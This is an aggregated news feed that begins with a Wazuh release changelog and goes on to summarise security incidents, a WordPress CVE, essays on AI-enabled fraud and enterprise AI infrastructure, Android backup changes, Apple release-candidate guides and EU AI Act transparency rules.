Fix daemon stats for analysisd by @NahuFigueroa97 in #37525
Resolve logging macro collisions and improve LogFn design (#37354) by @jotacarma90 in #37393
Enable authd in manager source-install integration test step by @jotacarma90 in #37693
Stop verify-agent-conf from falsely warning on agent-only wodle blocks, without breaking their validation by @vikman90 in #37680
Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by @hossam1522 in #35405
Lower connection socket error log to debug level in wazuh-agentd by @MAnDumu in #37685
Memory improvements part 2 by @NahuFigueroa97 in #37433
Fix make clean-deps failing when src/external is missing by @vikman90 in #37724
fix date schema validation error in scheduled metrics by @LucioDonda in #37703
Report failure when block-ip fails to block an IP by @lchico in #37439
Fix rename race on logcollector file status during shutdown by @Miguevrgo in #37695
Calibrate log levels in router and vulnerability_scanner by @jotacarma90 in #37731
Adds AR Windows binary extension fallback by @rjcausarano in #37496
Lower httpsrv C++ standard from 20 to 17 by @jotacarma90 in #37751
Add new indexer API roles mapping by @jepalfer in #37746
Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by @nbertoldo in #37430
Free rpm macro context to stop unbounded growth by @Nicogp in #37758
Report modulesSync failure as debug during agent shutdown by @anromerom in #37689
Report manager-not-ready sync failures as deferred by @anromerom in #37720
wazuh-engine: Indexer connector exponential backoff by @matigarciadev in #37756
Fix issue reference in the daemons stats changelog entry by @jotacarma90 in #37827

Full Changelog: v5.0.0-beta3...v5.0.0-beta4


1 in 4 businesses hit by cyber attacks through their supply chain in the last year
Tue, 21 Jul 2026 14:37:40 +0200
One in four UK businesses (26%) have suffered a cyber incident that originated in their supply chain over the last year, according to new research from business continuity and disaster recovery specialist Databarracks. The finding is particularly striking given that…
Read more →
The post 1 in 4 businesses hit by cyber attacks through their supply chain in the last year appeared first on IT Security News.


Fake FBI Agents Use IC3 Complaint Scams to Target Fraud Victims
Tue, 21 Jul 2026 14:37:35 +0200
Fake FBI agents are using deepfake videos, spoofed IC3 websites and false recovery claims to steal money and personal information from people who were scammed before, the FBI warns. This article has been indexed from Hackread – Cybersecurity News, Data…
Read more →
The post Fake FBI Agents Use IC3 Complaint Scams to Target Fraud Victims appeared first on IT Security News.


1 in 4 businesses hit by cyber attacks through their supply chain in the last year
Tue, 21 Jul 2026 14:23:56 +0200
One in four UK businesses (26%) have suffered a cyber incident that originated in their supply chain over the last year, according to new research from business continuity and disaster recovery specialist Databarracks. The finding is particularly striking given that organisations are highly aware of the risk they face: nearly half (48%) admit they have […]
The post 1 in 4 businesses hit by cyber attacks through their supply chain in the last year appeared first on IT Security Guru.


Fake FBI Agents Use IC3 Complaints to Target Scam Victims
Tue, 21 Jul 2026 14:10:13 +0200
Fake FBI agents are using deepfake videos, spoofed IC3 websites and false recovery claims to steal money and personal information from people who were scammed before, the FBI warns.


Hackers Hide Malware Commands in Outlook Events Dated 2050 and Use as C2 Channel
Tue, 21 Jul 2026 13:53:49 +0200
A newly identified malware component linked to the Project CAV3RN framework is abusing Microsoft Outlook calendar events scheduled for 2050 to conceal command-and-control (C2) traffic. The tool also uses DNS AAAA responses as a fallback channel to restore Microsoft Graph credentials when cloud authentication fails. Kaspersky researchers have associated the activity with highly targeted cyberespionage […]
The post Hackers Hide Malware Commands in Outlook Events Dated 2050 and Use as C2 Channel appeared first on Cyber Security News.


Abdul El-Sayed Is an Epidemiologist Running for Senate. His State Is a Public Health Disaster
Tue, 21 Jul 2026 13:17:38 +0200
Michigan has been at the epicenter of the wildfire smoke and explosive diarrhea outbreaks. The progressive Democrat talks to WIRED about how he would tackle the forces behind them if he’s elected.


Asymmetric warfare in financial services: AI-powered fraud demands unified command
Tue, 21 Jul 2026 13:08:50 +0200

		
					  
						




Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.



The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. Global payment fraud reached $33.4 billion in 2024 according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025 (up from $16 million in 2023), while Deloitte projects AI-enabled fraud in the US will hit $40 billion by 2027. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.



For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.



Reconnaissance at scale: How AI redraws the attacker’s map



The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of Automox, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”



The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.



The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.



Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.



Fragmented command: The structural vulnerability AI exploits



Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.



A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.



Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.



“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product & Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of security depends on unified intelligence — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.

“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.



Unified command: From org chart to battle plan



Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.



That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.



The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.



Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”



Field manual: What winning institutions do differently



The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.



Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Nie wieder Chats verlieren: So richtet ihr das WhatsApp-Backup ein
Tue, 21 Jul 2026 12:48:07 +0200
Egal, ob ihr euer Handy neu aufsetzt, zu einem anderen Gerät wechselt oder einfach eure Daten absichern wollt – mit der richtigen Backup-Strategie sind eure Chatverläufe, Bilder und Videos bei WhatsApp bestens geschützt.


So gelingt die Active-Directory-Forest-Recovery
Tue, 21 Jul 2026 12:09:40 +0200
Sicherheit durch Authentifizierung – das bietet Active Directory (AD) seit rund 25 Jahren für geschäftskritische Anwendungen und ist somit als Fundament für Unternehmensnetzwerke nicht mehr wegzudenken. Diese bedeutende Rolle macht den Verzeichnisdienst aber auch hochrelevant für IT-Sabotage und Ransomware-Angriffe.


CVE-2026-13439 | WhiteStudio Easy Form Builder Plugin up to 4.0.11 on WordPress Password Recovery efb_set_password sid password recovery (EUVD-2026-46156)
Tue, 21 Jul 2026 11:12:29 +0200
A vulnerability was found in WhiteStudio Easy Form Builder Plugin up to 4.0.11 on WordPress. It has been declared as critical. This affects the function efb_set_password of the file /v1/forms/recovery/efb_set_password of the component Password Recovery. Executing a manipulation of the argument sid can lead to weak password recovery.

This vulnerability is handled as CVE-2026-13439. The attack can be executed remotely. There is not any exploit available.


New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery
Tue, 21 Jul 2026 11:10:07 +0200
Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses. This article has been indexed from Securelist Read the original article: New…
Read more →
The post New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery appeared first on IT Security News.


The next AI bottleneck is not the model. It’s the infrastructure behind it
Tue, 21 Jul 2026 11:03:50 +0200

		
					  
						




Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.



But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.



The model matters. But it is not where most enterprises will struggle next.



The next AI bottleneck is the infrastructure behind the model.



I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.



That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.



Pilots hide the hard part



Most organizations can build an impressive AI pilot. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.



The harder part starts when that pilot moves into a real production process.



That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?



To me, these are not model problems. They are infrastructure problems.



This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.



McKinsey has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.



AI pilots can survive on enthusiasm. Production AI requires architecture.



AI is becoming an integration problem



The more I look at enterprise AI, the more it feels like an integration challenge.



In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.



AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.



That is why the CIO question is changing.



It is no longer just, “Which AI tool should we buy?”



It is becoming, “Can we safely operationalize intelligence across the business?”



This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.



A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.



For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.



If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.



That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.



Latency will become a trust issue



In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.



When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.



This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.



Each step adds latency. Each dependency adds a possible failure point.



A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.



This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.



Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.



Observability has to expand



Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?



AI needs that, but it also needs more.



We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.



We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.



In production AI, observability is not only about uptime. It is about confidence.



If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.



This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.



Data readiness is still underestimated



AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.



Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.



AI does not fix that automatically. In many cases, it makes the problem more visible.



A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.



That is a real risk.



Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.



The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “Enabling Fault-Tolerant Multicast in Cloud-Native Architectures” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.



CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.



Security cannot be added later



As AI moves from answering questions to acting, security becomes much more important.



An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.



The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.



Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.



AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.



The NIST AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.



Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.



The CIO has to define the operating model



AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.



The CIO sits in the middle of all of it.



That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.



That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?



This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.



The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.



They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.



The model still matters. But the enterprise behind the model matters more.



A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.



That is the shift CIOs need to lead.



The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery
Tue, 21 Jul 2026 10:54:37 +0200
Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses.


Diese neuen Funktionen bekommen Android-Nutzer im Juli
Tue, 21 Jul 2026 10:33:12 +0200





Google ist aktuell dabei, ein neues Google-Play-System-Update auszurollen. Damit erhalten Android-Nutzer monatlich neue Funktionen, die einen direkten Einfluss auf ihr Smartphone haben (unabhängig vom Hersteller).



Die Seite 9to5Google hat die wichtigsten Neuerungen zusammengefasst. Demnach bekommen Android-Nutzer die Option, die Sicherung von SMS-, MMS- und RCS-Nachrichten direkt zu steuern. Das ähnelt der separaten Backup-Einstellung für ausgewählte Apps, die wir Ihnen letzte Woche vorgestellt hatten.



Über Einstellungen > Konten und Sicherung > Google-Sicherung > Weitere Gerätedaten gibt es nach Erhalt des Updates einen neuen Ein-/Aus-Schalter für SMS- und MMS-Nachrichten, Anrufverlauf und Geräteeinstellungen. Sie haben also deutlich mehr Kontrolle darüber, welche Daten Sie über die Google-Cloud speichern wollen.



Das ist auch besonders wichtig, da Google seit Neuestem keine Gratis-Backups für Android-Geräte mehr erlaubt. Jedes Backup Ihres Smartphones zählt also direkt auf Ihr verfügbares Speicherkontingent ein, das in der Gratis-Variante gerade einmal 15 GB sind.



Zusätzlich führt Android nun die lokale Sicherung von Dokumenten ein. Damit können Sie Ihre heruntergeladenen Dokumente automatisch in Google Drive speichern, damit diese sicher und von jedem Ihrer Geräte aus zugänglich sind. Auf der Seite „Sicherung“ erscheint dann neben „Fotos & Videos“ und „Sonstige Gerätedaten“ ein neues Menü namens „Dokumente“.



Google erklärt, dass zu den unterstützten Dateiformaten .DOC, .PPT, .XLS, .PDF “und alle anderen auf diesem Gerät gespeicherten Dokumente” gehören. Dokumente sollen bei der Übertragung zwischen Ihrem Gerät und den Google-Diensten verschlüsselt werden. Änderungen, die an den Dokumenten an einem Ort vorgenommen werden, werden nicht mit anderen Orten synchronisiert.



Mehr Neuerungen



In den Versionshinweisen zu den Google-Systemdiensten finden sich noch mehr kleine Neuerungen, die jetzt an Android-Nutzer ausgerollt werden. Dazu gehören unter anderem die Überarbeitung von In-App-Käufen mithilfe einer “verbesserten, nativen Storefront für Google One”, die Übertragung von Arbeitsprofilen auf Wear-OS-Smartwatches, eine neue Google-Standortfreigabe für Chromebooks sowie „neue Funktionen für Entwickler von Google- und Drittanbieter-Apps zur Unterstützung von Prozessen in ihren Apps im Zusammenhang mit Google Maps”.



All diese neuen Funktionen werden seit dem 6. Juli an Android-Nutzer verteilt. Über Einstellungen > Sicherheit und Datenschutz > Updates > Google Play-Systemupdate können Sie die aktuell installierte Version der Google Play System Updates prüfen und gegebenenfalls auf eine neue Version aktualisieren.



Android 17: Diese Smartphones bekommen das Update




Google erlaubt Android-Nutzern kein Gratis-Backup mehr: Schonfrist von 45 Tagen
Tue, 21 Jul 2026 10:33:02 +0200





Google wird nun alle Daten von Android-Sicherungskopien auf den Speicherplatz im Google-Konto des Nutzers anrechnen, wie die Seite Engadget berichtet. Bislang wirkten sich lediglich Inhalte in Google Fotos sowie Bilder und Videos in MMS-Sicherungskopien auf das Speicherkontingent aus.



Für neue Android-Nutzer gilt die Änderung seit dem 7. Juli 2026. Für bestehende Nutzer gilt eine Schonfrist von 45 Tagen, bis sie in Kraft tritt. Google informiert Nutzer per Mail dazu:




Wir möchten dich über eine bevorstehende Aktualisierung unserer Speicherrichtlinien informieren. Außerdem führen wir neue Steuerelemente ein, mit denen du deine Android-Sicherungen besser verwalten kannst.



Richtlinienänderung: In 45 Tagen werden alle Daten, die in den Sicherungen deines Android-Geräts enthalten sind, auf das Speicherplatzlimit deines Google-Kontos angerechnet. Fotos und Videos in Google Fotos und MMS-Daten werden bereits jetzt in deinen Google-Kontospeicherplatz einbezogen. Mit dieser Änderung werden auch alle anderen gesicherten Daten wie SMS, Anruflisten, Geräteeinstellungen und App-Einstellungen auf deinen Google-Kontospeicherplatz angerechnet. Nach Inkrafttreten dieser Richtlinie wird deine Gerätesicherung möglicherweise mehr Speicherplatz belegen. Wenn das Speicherplatzlimit deines Google-Kontos überschritten ist, werden automatische Sicherungen pausiert, bis du Speicherplatz freigibst oder dein Abo upgradest.




Laut Google werden die Auswirkungen dieser Änderung recht begrenzt sein. Android-Sicherungskopien werden im Durchschnitt etwa 40 Megabyte zusätzlichen Speicherplatz beanspruchen. Gleichzeitig werden weitere Einstellungen eingeführt, die den Nutzern mehr Kontrolle darüber geben, was gesichert wird.



Zuvor wurde etwa bekannt, dass Android-Nutzer eine wichtige neue Backup-Funktion erhalten, mit der sie selbst entscheiden können, welche App-Daten gesichert werden sollen und welche nicht. Demnächst möchte Google noch einführen, dass Nutzer ihre Geräteeinstellungen, den Anrufverlauf sowie SMS- und MMS-Nachrichten aus dem Sicherungsvorgang ausschließen können.



Es ist erwähnenswert, dass Google im Mai gleichzeitig den kostenlosen Speicherplatz für neue Konten von 15 Gigabyte auf 5 Gigabyte reduziert hat. Es sei denn, der Nutzer verknüpft eine Telefonnummer mit dem Konto.



Je nachdem, wie viele Daten Sie bereits in der Google Cloud gesichert haben, könnte es also eng werden, selbst wenn die Sicherung nur wenige MB groß ist. Oder Sie merken von der Änderung nicht wirklich viel, da Sie ohnehin auf andere Backup-Methoden setzen.



Ein Upgrade auf 100 GB in Google One kostet 1,99 Euro monatlich, 2,99 Euro für 200 GB oder 9,99 Euro monatlich für 2 TB Speicherplatz. Mit enthalten ist auch der Zugriff auf “neue und leistungsstarke Funktionen” in Google Gemini.



Die besten Online-Backup-Dienste im Vergleich: Nie mehr Daten verlieren




macOS 26.6 RC Is Now Available: Here’s How to Update Your Mac
Tue, 21 Jul 2026 09:39:47 +0200
Apple has released the macOS Tahoe 26.6 Release Candidate for developers and public beta testers. This version arrives after five beta builds and carries build number 25G70. It is expected to closely match the update Apple will release publicly, provided testers do not discover any serious problems.



The macOS 26.6 RC mainly focuses on fixing bugs, improving stability, and preparing compatible Macs for future software updates. Apple has not announced any major user-facing features for this release.



Before installing the update, back up important files using Time Machine or another backup service. Release Candidate software is nearly finished, but unexpected bugs can still affect apps, battery life, or system performance.



How to Install macOS 26.6 RC



Follow these steps to download the update:




Open System Settings on your Mac.



Select General from the sidebar.



Click Software Update.



Click the information button next to Beta Updates.



Choose macOS Tahoe Developer Beta or the available public beta option.



Click Done.



Wait for macOS 26.6 RC to appear.



Click Update Now and follow the onscreen instructions.




Keep your Mac connected to power during the installation. Your Mac will restart, and the process can take several minutes depending on the model and internet speed. Software Update only displays versions compatible with your Mac.



All Changes in macOS 26.6 RC



Apple has not provided a detailed list of major new features for macOS 26.6 RC. The update currently includes the following improvements:




Bug fixes and stability improvements: The update addresses problems reported during the five previous beta versions and improves overall system reliability.



Improved app identification: Apple fixed an issue that incorrectly identified some applications as Intel-only apps, which could cause unnecessary deprecation notices to appear.



Better preparation for future updates: The release may include background system changes that prepare compatible Macs for the next major macOS version.



Developer-related fixes: Apple has marked previously reported ecosystem and HealthKit issues as resolved during the macOS 26.6 testing cycle.




Since this is a Release Candidate, Apple may release another RC build if testers discover an important issue. Otherwise, the same build could become available to all compatible Mac users soon.



If you have already installed macOS 26.6 RC, let us know about its performance, battery life, and any problems you noticed in the comments.


Betrifft Handys von Samsung und Xiaomi: Google-Update sorgt für weniger Speicher
Tue, 21 Jul 2026 09:32:59 +0200
Wer ein Android-Handy von Samsung, Xiaomi oder einem anderen Hersteller nutzt, hat bald weniger Cloudspeicher zur Verfügung. Google aktualisiert seine Backup-Richtlinien.
																					Dieser Artikel wurde einsortiert unter 
																	Download,																	Android,																	Samsung: So lange erhält euer Galaxy-Handy Updates,																	Xiaomi: So lange erhalten Mi, Redmi und Poco-Handys Android-Updates.


iOS 26.6 Release Candidate Is Here: Everything You Need to Know
Tue, 21 Jul 2026 09:25:18 +0200
Apple has released the iOS 26.6 Release Candidate for developers and public beta testers. The update carries build number 23G71 and represents the final testing stage before iOS 26.6 becomes available to all compatible iPhone users.



The release remains a relatively small update, with Apple focusing mainly on security fixes, system stability, performance improvements, and preparation for the upcoming transition to iOS 27.



Since this is still beta software, users should create a complete iCloud or computer backup before installing it on their main iPhone.



How to Install iOS 26.6 RC



Follow these steps to download the iOS 26.6 Release Candidate:




Open the Settings app on your iPhone.



Select General.



Tap Software Update.



Select Beta Updates.



Choose iOS 26 Public Beta or iOS 26 Developer Beta.



Return to the Software Update screen.



Tap Download and Install.



Enter your iPhone passcode when requested.



Keep the device connected to Wi-Fi and a charger until installation finishes.




Your Apple Account must be registered with the relevant beta program for the update to appear. Users who already have an earlier iOS 26.6 beta installed can download the RC directly through Software Update.



All Changes in iOS 26.6 RC



Apple has not introduced any major visual changes or large new features in this release. The update mainly includes the following improvements:




Bug fixes and stability improvements: iOS 26.6 RC addresses system problems discovered during beta testing and improves general reliability across compatible iPhones.



Security updates: The release includes security patches and additional protections designed to reduce potential risks within the operating system.



Improved Apple Maps security: Apple has added a new security framework for Apple Maps that helps isolate and validate incoming data before it reaches other parts of the system.



Blocked contacts limit warning: The iPhone now displays an alert when a user reaches the maximum limit of 20,000 blocked contacts. Users must remove an existing blocked contact before adding another one.



Spotlight indexing improvements: The update includes changes to Spotlight indexing that help prepare devices for the future upgrade to iOS 27.



Performance improvements: Apple has continued refining system responsiveness, background processes, and overall performance ahead of the public release.




Apple could release the same build to the public if testers do not discover any serious problems. However, the company can issue another Release Candidate if additional fixes are required.



If you have already installed the iOS 26.6 RC update, let us know about its performance, battery life, and any problems you have noticed in the comments.


Watt a load of crap: UK start-up is turning number twos into number one with shockingly superior sewage battery tech
Tue, 21 Jul 2026 07:19:06 +0200
Rheya Labs is developing sewage backup batteries that combine emergency power with machine learning designed to predict failures before pollution occurs.


How to roll back macOS Golden Gate on Apple Silicon
Tue, 21 Jul 2026 05:26:16 +0200
Mac users who want to leave the macOS Golden Gate beta must erase their startup disk and reinstall Tahoe, making a verified backup the most important step before they begin. Here's how to downgrade safely.

macOS Golden Gate

Downgrading from macOS Golden Gate isn't as simple as leaving Apple's beta program. Turning off beta updates prevents later beta builds from installing, but it leaves the current operating system in place.

Returning to macOS Tahoe requires erasing the Mac's startup volume, reinstalling Tahoe, and restoring your files afterward. The reinstall is usually the easy part because protecting files created while running the Golden Gate beta takes more planning.

Apple recommends restoring a Time Machine backup made before the beta was installed. A newer backup may contain app data, settings, and databases that Golden Gate changed in ways that Tahoe can't fully understand.


 Continue Reading on AppleInsider | Discuss on our Forums


The EU’s AI transparency deadline is weeks away. Is your enterprise ready?
Tue, 21 Jul 2026 04:02:28 +0200

		
					  
						




Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.



After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”



Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”



Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.



“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”



